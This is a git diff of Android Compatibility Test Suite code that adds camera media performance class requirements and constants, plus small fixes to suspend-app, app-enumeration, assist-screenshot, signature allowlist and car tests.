+        public static UltraWideZoomRatioRequirement createUltrawideZoomRatioReq() {
+            RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+            RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new UltraWideZoomRatioRequirement(RequirementConstants.R7_5__H_1_10,
+                    rearRequirement, frontRequirement);
+        }
+    }
+
+    public static class ConcurrentRearFrontRequirement extends Requirement {
+        private static final String TAG = ConcurrentRearFrontRequirement.class.getSimpleName();
+
+        private ConcurrentRearFrontRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setConcurrentRearFrontSupported(boolean concurrentRearFrontSupported) {
+            this.setMeasuredValue(RequirementConstants.CONCURRENT_REAR_FRONT_SUPPORTED,
+                    concurrentRearFrontSupported);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-11] MUST implement concurrent front-back streaming on primary cameras.
+         */
+        public static ConcurrentRearFrontRequirement createConcurrentRearFrontReq() {
+            RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.CONCURRENT_REAR_FRONT_SUPPORTED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new ConcurrentRearFrontRequirement(RequirementConstants.R7_5__H_1_11,
+                    requirement);
+        }
+    }
+
+    public static class PreviewStabilizationRequirement extends Requirement {
+        private static final String TAG =
+                PreviewStabilizationRequirement.class.getSimpleName();
+
+        private PreviewStabilizationRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setRearPreviewStabilizationSupported(boolean supported) {
+            this.setMeasuredValue(RequirementConstants.REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED,
+                    supported);
+        }
+
+        public void setFrontPreviewStabilizationSupported(boolean supported) {
+            this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED,
+                    supported);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-12] MUST support CONTROL_VIDEO_STABILIZATION_MODE_PREVIEW_STABILIZATION
+         * for both primary front and primary back camera.
+         */
+        public static PreviewStabilizationRequirement createPreviewStabilizationReq() {
+            RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+            RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new PreviewStabilizationRequirement(RequirementConstants.R7_5__H_1_12,
+                    rearRequirement, frontRequirement);
+        }
+    }
+
+    public static class LogicalMultiCameraRequirement extends Requirement {
+        private static final String TAG =
+                LogicalMultiCameraRequirement.class.getSimpleName();
+
+        private LogicalMultiCameraRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setRearLogicalMultiCameraReqMet(boolean reqMet) {
+            this.setMeasuredValue(RequirementConstants.REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET,
+                    reqMet);
+        }
+
+        public void setFrontLogicalMultiCameraReqMet(boolean reqMet) {
+            this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET,
+                    reqMet);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-13] MUST support LOGICAL_MULTI_CAMERA capability for the primary
+         * cameras if there are greater than 1 RGB cameras facing the same direction.
+         */
+        public static LogicalMultiCameraRequirement createLogicalMultiCameraReq() {
+            RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+            RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new LogicalMultiCameraRequirement(RequirementConstants.R7_5__H_1_13,
+                    rearRequirement, frontRequirement);
+        }
+    }
+
+    public static class StreamUseCaseRequirement extends Requirement {
+        private static final String TAG =
+                StreamUseCaseRequirement.class.getSimpleName();
+
+        private StreamUseCaseRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setRearStreamUseCaseSupported(boolean supported) {
+            this.setMeasuredValue(RequirementConstants.REAR_CAMERA_STREAM_USECASE_SUPPORTED,
+                    supported);
+        }
+
+        public void setFrontStreamUseCaseSupported(boolean supported) {
+            this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_STREAM_USECASE_SUPPORTED,
+                    supported);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-14] MUST support STREAM_USE_CASE capability for both primary
+         * front and primary back camera.
+         */
+        public static StreamUseCaseRequirement createStreamUseCaseReq() {
+            RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.REAR_CAMERA_STREAM_USECASE_SUPPORTED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+            RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.FRONT_CAMERA_STREAM_USECASE_SUPPORTED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new StreamUseCaseRequirement(RequirementConstants.R7_5__H_1_14,
+                    rearRequirement, frontRequirement);
+        }
+    }
+
+    public <R extends Requirement> R addRequirement(R req) {
         if (!this.mRequirements.add(req)) {
             throw new IllegalStateException("Requirement " + req.id() + " already added");
         }
@@ -1000,16 +1487,69 @@
         return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_10());
     }
 
+    public PrimaryCameraRequirement addPrimaryRearCameraReq() {
+        return this.addRequirement(PrimaryCameraRequirement.createRearPrimaryCamera());
+    }
+
+    public PrimaryCameraRequirement addPrimaryFrontCameraReq() {
+        return this.addRequirement(PrimaryCameraRequirement.createFrontPrimaryCamera());
+    }
+
+    public CameraTimestampSourceRequirement addR7_5__H_1_4() {
+        return this.addRequirement(CameraTimestampSourceRequirement.createTimestampSourceReq());
+    }
+
+    public CameraLatencyRequirement addR7_5__H_1_5() {
+        return this.addRequirement(CameraLatencyRequirement.createJpegLatencyReq());
+    }
+
+    public CameraLatencyRequirement addR7_5__H_1_6() {
+        return this.addRequirement(CameraLatencyRequirement.createLaunchLatencyReq());
+    }
+
+    public CameraRawRequirement addR7_5__H_1_8() {
+        return this.addRequirement(CameraRawRequirement.createRawReq());
+    }
+
+    public Camera240FpsRequirement addR7_5__H_1_9() {
+        return this.addRequirement(Camera240FpsRequirement.create240FpsReq());
+    }
+
+    public UltraWideZoomRatioRequirement addR7_5__H_1_10() {
+        return this.addRequirement(UltraWideZoomRatioRequirement.createUltrawideZoomRatioReq());
+    }
+
+    public ConcurrentRearFrontRequirement addR7_5__H_1_11() {
+        return this.addRequirement(ConcurrentRearFrontRequirement.createConcurrentRearFrontReq());
+    }
+
+    public PreviewStabilizationRequirement addR7_5__H_1_12() {
+        return this.addRequirement(PreviewStabilizationRequirement.createPreviewStabilizationReq());
+    }
+
+    public LogicalMultiCameraRequirement addR7_5__H_1_13() {
+        return this.addRequirement(LogicalMultiCameraRequirement.createLogicalMultiCameraReq());
+    }
+
+    public StreamUseCaseRequirement addR7_5__H_1_14() {
+        return this.addRequirement(StreamUseCaseRequirement.createStreamUseCaseReq());
+    }
+
     public void submitAndCheck() {
-        boolean perfClassMet = true;
-        for (Requirement req: this.mRequirements) {
-            perfClassMet &= req.writeLogAndCheck(this.mTestName);
-        }
+        boolean perfClassMet = submit();
 
         // check performance class
         assumeTrue("Build.VERSION.MEDIA_PERFORMANCE_CLASS is not declared", Utils.isPerfClass());
         assertThat(perfClassMet).isTrue();
-
-        this.mRequirements.clear(); // makes sure report isn't submitted twice
     }
+
+    public boolean submit() {
+        boolean perfClassMet = true;
+        for (Requirement req: this.mRequirements) {
+            perfClassMet &= req.writeLogAndCheck(this.mTestName);
+        }
+        this.mRequirements.clear(); // makes sure report isn't submitted twice
+        return perfClassMet;
+    }
+
 }
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
index d93cb2e..ad0d0d5 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
@@ -16,8 +16,6 @@
 
 package android.mediapc.cts.common;
 
-import android.os.Build;
-
 import java.util.function.BiPredicate;
 
 public class RequirementConstants {
@@ -54,8 +52,13 @@
     public static final String R7_5__H_1_4 = "r7_5__h_1_4"; // 7.5/H-1-4
     public static final String R7_5__H_1_5 = "r7_5__h_1_5"; // 7.5/H-1-5
     public static final String R7_5__H_1_6 = "r7_5__h_1_6"; // 7.5/H-1-6
-    public static final String R7_5__H_1_7 = "r7_5__h_1_7"; // 7.5/H-1-7
     public static final String R7_5__H_1_8 = "r7_5__h_1_8"; // 7.5/H-1-8
+    public static final String R7_5__H_1_9 = "r7_5__h_1_9"; // 7.5/H-1-9
+    public static final String R7_5__H_1_10 = "r7_5__h_1_10"; // 7.5/H-1-10
+    public static final String R7_5__H_1_11 = "r7_5__h_1_11"; // 7.5/H-1-11
+    public static final String R7_5__H_1_12 = "r7_5__h_1_12"; // 7.5/H-1-12
+    public static final String R7_5__H_1_13 = "r7_5__h_1_13"; // 7.5/H-1-13
+    public static final String R7_5__H_1_14 = "r7_5__h_1_14"; // 7.5/H-1-14
     public static final String R7_1_1_1__H_1_1 = "r7_1_1_1__h_1_1"; // 7.1.1.1/H-1-1
     public static final String R7_1_1_3__H_1_1 = "r7_1_1_3__h_1_1"; // 7.1.1.3/H-1-1
     public static final String R7_6_1__H_1_1 = "r7_6_1__h_1_1"; // 7.6.1/H-1-1
@@ -90,14 +93,50 @@
     public static final String NUM_CRYPTO_HW_SECURE_ALL_SUPPORT =
         "number_crypto_hw_secure_all_support";
 
+    public static final String PRIMARY_CAMERA_AVAILABLE = "primary_camera_available";
+    public static final String PRIMARY_CAMERA_RESOLUTION = "primary_camera_resolution";
+    public static final String PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED =
+            "primary_camera_video_size_req_satisfied";
+    public static final String PRIMARY_CAMERA_VIDEO_FPS =
+            "primary_camera_video_fps";
+    public static final String REAR_CAMERA_HWL_LEVEL = "rear_primary_camera_hwl_level";
+    public static final String FRONT_CAMERA_HWL_LEVEL = "front_primary_camera_hwl_level";
+    public static final String REAR_CAMERA_TIMESTAMP_SOURCE =
+            "rear_primary_camera_timestamp_source";
+    public static final String FRONT_CAMERA_TIMESTAMP_SOURCE =
+            "front_primary_camera_timestamp_source";
+    public static final String REAR_CAMERA_LATENCY = "rear_camera_latency";
+    public static final String FRONT_CAMERA_LATENCY = "front_camera_latency";
+    public static final String REAR_CAMERA_RAW_SUPPORTED = "rear_camera_raw_supported";
+    public static final String REAR_CAMERA_240FPS_SUPPORTED = "rear_camera_240fps_supported";
+    public static final String REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET =
+            "rear_camera_ultrawide_zoom_req_met";
+    public static final String FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET =
+            "front_camera_ultrawide_zoom_req_met";
+    public static final String CONCURRENT_REAR_FRONT_SUPPORTED = "rear_front_concurrent_camera";
+    public static final String REAR_CAMERA_PREVIEW_STABILIZATION_SUPPORTED =
+            "rear_camera_preview_stabilization_supported";
+    public static final String FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED =
+            "front_camera_preview_stabilization_supported";
+    public static final String REAR_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET =
+            "rear_camera_logical_multi_camera_req_met";
+    public static final String FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET =
+            "front_camera_logical_multi_camera_req_met";
+    public static final String REAR_CAMERA_STREAM_USECASE_SUPPORTED =
+            "rear_camera_stream_usecase_supported";
+    public static final String FRONT_CAMERA_STREAM_USECASE_SUPPORTED =
+            "front_camera_stream_usecase_supported";
+
     public enum Result {
         NA, MET, UNMET
     }
 
     public static final BiPredicate<Long, Long> LONG_GTE = RequirementConstants.gte();
     public static final BiPredicate<Long, Long> LONG_LTE = RequirementConstants.lte();
+    public static final BiPredicate<Float, Float> FLOAT_LTE = RequirementConstants.lte();
     public static final BiPredicate<Integer, Integer> INTEGER_GTE = RequirementConstants.gte();
     public static final BiPredicate<Integer, Integer> INTEGER_LTE = RequirementConstants.lte();
+    public static final BiPredicate<Integer, Integer> INTEGER_EQ = RequirementConstants.eq();
     public static final BiPredicate<Double, Double> DOUBLE_EQ = RequirementConstants.eq();
     public static final BiPredicate<Boolean, Boolean> BOOLEAN_EQ = RequirementConstants.eq();
     public static final BiPredicate<Double, Double> DOUBLE_GTE = RequirementConstants.gte();
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
index ac03705..28a122b 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
@@ -73,16 +73,24 @@
 
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         DisplayMetrics metrics = new DisplayMetrics();
-        WindowManager windowManager = context.getSystemService(WindowManager.class);
-        windowManager.getDefaultDisplay().getMetrics(metrics);
-        DISPLAY_DPI = metrics.densityDpi;
-        DISPLAY_LONG_PIXELS = Math.max(metrics.widthPixels, metrics.heightPixels);
-        DISPLAY_SHORT_PIXELS = Math.min(metrics.widthPixels, metrics.heightPixels);
+        // When used from ItsService, context will be null
+        if (context != null) {
+            WindowManager windowManager = context.getSystemService(WindowManager.class);
+            windowManager.getDefaultDisplay().getMetrics(metrics);
+            DISPLAY_DPI = metrics.densityDpi;
+            DISPLAY_LONG_PIXELS = Math.max(metrics.widthPixels, metrics.heightPixels);
+            DISPLAY_SHORT_PIXELS = Math.min(metrics.widthPixels, metrics.heightPixels);
 
-        ActivityManager activityManager = context.getSystemService(ActivityManager.class);
-        ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo();
-        activityManager.getMemoryInfo(memoryInfo);
-        TOTAL_MEMORY_MB = memoryInfo.totalMem / 1024 / 1024;
+            ActivityManager activityManager = context.getSystemService(ActivityManager.class);
+            ActivityManager.MemoryInfo memoryInfo = new ActivityManager.MemoryInfo();
+            activityManager.getMemoryInfo(memoryInfo);
+            TOTAL_MEMORY_MB = memoryInfo.totalMem / 1024 / 1024;
+        } else {
+            DISPLAY_DPI = 0;
+            DISPLAY_LONG_PIXELS = 0;
+            DISPLAY_SHORT_PIXELS = 0;
+            TOTAL_MEMORY_MB = 0;
+        }
     }
 
     /**
diff --git a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
index 2508845..8da22f3 100644
--- a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
@@ -41,6 +41,7 @@
 import java.util.List;
 import java.util.UUID;
 import org.junit.Assume;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
@@ -58,6 +59,11 @@
     @Rule
     public final TestName mTestName = new TestName();
 
+    @Before
+    public void isPerformanceClassCandidate() {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+    }
+
     static {
         mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_AVC);
         mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
diff --git a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
index bbe26dc..2ee8b3b 100644
--- a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
@@ -21,12 +21,14 @@
 import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
 import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
 import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertTrue;
 
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
 import android.media.MediaFormat;
 import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
 import android.util.Log;
 import androidx.test.filters.LargeTest;
 import com.android.compatibility.common.util.CddTest;
@@ -35,6 +37,7 @@
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
@@ -47,6 +50,11 @@
     @Rule
     public final TestName mTestName = new TestName();
 
+    @Before
+    public void isPerformanceClassCandidate() {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+    }
+
     private Set<String> get4k60HwCodecSet(boolean isEncoder) throws IOException {
         Set<String> codecSet = new HashSet<>();
         Set<String> codecMediaTypes = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
@@ -60,6 +68,7 @@
                         codec.getCodecInfo().getCapabilitiesForType(codecMediaType);
                 List<PerformancePoint> pps =
                         capabilities.getVideoCapabilities().getSupportedPerformancePoints();
+                assertTrue(hwVideoCodec + " doesn't advertise performance points", pps.size() > 0);
                 for (PerformancePoint pp : pps) {
                     if (pp.covers(PP4k60)) {
                         codecSet.add(hwVideoCodec);
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index b72af1f..cb5f08c 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -27,6 +27,7 @@
     Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30)
     Bug: 186495404 android.intent.action.REBOOT_READY
     Bug: 218245704 android.intent.action.ACTION_PACKAGE_CHANGED (fixed in TTS 20220209)
+    Bug: 237978237 android.intent.action.REMOTE_COPY
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -42,5 +43,6 @@
       <value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value>
       <value>android.intent.action.REBOOT_READY</value>
       <value>android.intent.action.ACTION_PACKAGE_CHANGED</value>
+      <value>android.intent.action.REMOTE_COPY</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
index b54bfb9..b642efa 100644
--- a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
@@ -78,6 +78,7 @@
         HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.hideSoftInputWithToken(int,android.os.ResultReceiver,android.os.IBinder)");
         HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract boolean android.view.WindowInsetsAnimationController.hasZeroInsetsIme()");
         HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.WindowInsetsController.setCaptionInsetsHeight(int)");
+        HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.WindowInsetsController.setSystemDrivenInsetsAnimationLoggingListener(android.view.WindowInsetsAnimationControlListener)");
         HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.setCurrentHideInputToken(android.os.IBinder)");
         HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethod.setCurrentShowInputToken(android.os.IBinder)");
         HIDDEN_INTERFACE_METHOD_ALLOW_LIST.add("public abstract void android.view.inputmethod.InputMethodSession.notifyImeHidden()");
diff --git a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
index e8caff2..ef14ce6 100644
--- a/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
+++ b/tests/suspendapps/tests/src/android/suspendapps/cts/DialogTests.java
@@ -18,7 +18,6 @@
 
 import static android.content.pm.SuspendDialogInfo.BUTTON_ACTION_UNSUSPEND;
 import static android.suspendapps.cts.Constants.TEST_APP_PACKAGE_NAME;
-import static android.suspendapps.cts.SuspendTestUtils.assertSameExtras;
 import static android.suspendapps.cts.SuspendTestUtils.createExtras;
 import static android.suspendapps.cts.SuspendTestUtils.startTestAppActivity;
 
@@ -32,7 +31,6 @@
 import android.content.Intent;
 import android.content.pm.SuspendDialogInfo;
 import android.os.Bundle;
-import android.platform.test.annotations.SystemUserOnly;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
@@ -126,9 +124,7 @@
 
         final Intent activityIntent = mTestAppInterface.awaitTestActivityStart();
         assertNotNull("Test activity did not start on neutral button tap", activityIntent);
-        assertSameExtras("Different extras passed to startActivity on unsuspend",
-                extrasForStart, activityIntent.getExtras());
-
+        // TODO(b/237707107): Verify that activityIntent has the expected extras.
         assertFalse("Test package still suspended", mTestAppInterface.isTestAppSuspended());
     }
 
diff --git a/tests/suspendapps/tests/src/android/suspendapps/cts/SuspendPackagesTest.java b/tests/suspendapps/tests/src/android/suspendapps/cts/SuspendPackagesTest.java
index 291d9cc..ecc0940 100644
--- a/tests/suspendapps/tests/src/android/suspendapps/cts/SuspendPackagesTest.java
+++ b/tests/suspendapps/tests/src/android/suspendapps/cts/SuspendPackagesTest.java
@@ -277,6 +277,13 @@
         assertOpDisallowed(cameraOp);
     }
 
+    @Test
+    public void testOpVibrateOnSuspend() throws Exception {
+        final int vibrateOp = AppOpsManager.strOpToOp(AppOpsManager.OPSTR_VIBRATE);
+        SuspendTestUtils.suspend(null, null, null);
+        assertOpDisallowed(vibrateOp);
+    }
+
     @After
     public void tearDown() throws Exception {
         if (mTestAppInterface != null) {
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index 23373ae..755ac44 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -1084,6 +1084,8 @@
 
     @Test
     public void launcherAppsCallback_unsuspended_visibleReceives() throws Exception {
+        setPackagesSuspended(/* suspend */ true, Arrays.asList(TARGET_NO_API, TARGET_FILTERS));
+
         final Result result = sendCommandAndWaitForLauncherAppsCallback(QUERIES_ACTIVITY_ACTION,
                 CALLBACK_EVENT_PACKAGES_UNSUSPENDED);
 
diff --git a/tests/tests/assist/common/src/android/assist/common/Utils.java b/tests/tests/assist/common/src/android/assist/common/Utils.java
index 0ffcb27..98e8576 100755
--- a/tests/tests/assist/common/src/android/assist/common/Utils.java
+++ b/tests/tests/assist/common/src/android/assist/common/Utils.java
@@ -56,6 +56,7 @@
     public static final String COMPARE_SCREENSHOT_KEY = "compare_screenshot";
     public static final String DISPLAY_WIDTH_KEY = "display_width";
     public static final String DISPLAY_HEIGHT_KEY = "dislay_height";
+    public static final String DISPLAY_AREA_BOUNDS_KEY = "display_area_bounds";
     public static final String SCROLL_X_POSITION = "scroll_x_position";
     public static final String SCROLL_Y_POSITION = "scroll_y_position";
     public static final String SHOW_SESSION_FLAGS_TO_SET = "show_session_flags_to_set";
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 7f35367..25c080b 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -56,6 +56,7 @@
     private int mCurColor;
     private int mDisplayHeight;
     private int mDisplayWidth;
+    private Rect mDisplayAreaBounds;
     private BroadcastReceiver mReceiver;
     private String mTestName;
     private View mContentView;
@@ -106,7 +107,7 @@
     public void onPrepareShow(Bundle args, int showFlags) {
         if (Utils.LIFECYCLE_NOUI.equals(args.getString(Utils.TESTCASE_TYPE, ""))) {
             setUiEnabled(false);
-        } else  {
+        } else {
             setUiEnabled(true);
         }
     }
@@ -122,6 +123,7 @@
         mCurColor = args.getInt(Utils.SCREENSHOT_COLOR_KEY);
         mDisplayHeight = args.getInt(Utils.DISPLAY_HEIGHT_KEY);
         mDisplayWidth = args.getInt(Utils.DISPLAY_WIDTH_KEY);
+        mDisplayAreaBounds = args.getParcelable(Utils.DISPLAY_AREA_BOUNDS_KEY);
         mRemoteCallback = args.getParcelable(Utils.EXTRA_REMOTE_CALLBACK);
         super.onShow(args, showFlags);
         if (mContentView == null) return; // Happens when ui is not enabled.
@@ -256,6 +258,11 @@
         int[] pixels = new int[size.x * size.y];
         screenshot.getPixels(pixels, 0, size.x, 0, 0, size.x, size.y);
 
+        // screenshot bitmap contains the screenshot for the entire physical display. A single
+        // physical display could have multiple display area with different applications.
+        // Let's grab the region of the display area from the original screenshot.
+        Bitmap displayAreaScreenshot = Bitmap.createBitmap(screenshot, mDisplayAreaBounds.left,
+                mDisplayAreaBounds.top, mDisplayAreaBounds.width(), mDisplayAreaBounds.height());
         int expectedColor = 0;
         for (int pixel : pixels) {
             // Check for roughly the same because there are rounding errors converting from the
@@ -267,7 +274,7 @@
             }
         }
 
-        int pixelCount = screenshot.getWidth() * screenshot.getHeight();
+        int pixelCount = displayAreaScreenshot.getWidth() * displayAreaScreenshot.getHeight();
         double colorRatio = (double) expectedColor / pixelCount;
         Log.i(TAG, "the ratio is " + colorRatio);
         return colorRatio >= 0.6;
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 44a3109..c89119b 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -35,9 +35,9 @@
 import android.content.Context;
 import android.content.Intent;
 import android.graphics.Point;
+import android.graphics.Rect;
 import android.os.Bundle;
 import android.os.Handler;
-import android.os.HandlerThread;
 import android.os.LocaleList;
 import android.os.RemoteCallback;
 import android.provider.Settings;
@@ -341,6 +341,8 @@
             Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode();
             mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight());
         }
+        Rect bounds = mTestActivity.getWindowManager().getMaximumWindowMetrics().getBounds();
+        intent.putExtra(Utils.DISPLAY_AREA_BOUNDS_KEY, bounds);
         intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x);
         intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y);
     }
diff --git a/tests/tests/car/Android.bp b/tests/tests/car/Android.bp
index 6140f7b..92351cb 100644
--- a/tests/tests/car/Android.bp
+++ b/tests/tests/car/Android.bp
@@ -32,7 +32,9 @@
     name: "CtsCarTestCases",
     defaults: ["cts_defaults"],
     static_libs: [
+        "android.car.test.utils",
         "androidx.test.rules",
+        "android-support-v4",
         "compatibility-device-util-axt",
         "truth-prebuilt",
         "ctstestrunner-axt",
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index a0326fc..06c83bd 100644
--- a/tests/tests/car/AndroidManifest.xml
+++ b/tests/tests/car/AndroidManifest.xml
@@ -45,6 +45,12 @@
         <activity android:name=".drivingstate.NonDistractionOptimizedActivity">
             <meta-data android:name="distractionOptimized" android:value="false"/>
         </activity>
+
+        <!-- Setting the car target version to TIRAMISU_1 to allow tests checking car target version
+             to pass, e.g.
+             CarServiceHelperServiceUpdatableTest#testSendUserLifecycleEventAndOnUserCreated,
+             CarServiceHelperServiceUpdatableTest#testSendUserLifecycleEventAndOnUserRemoved -->
+        <meta-data android:name="android.car.targetCarVersion" android:value="33:1"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
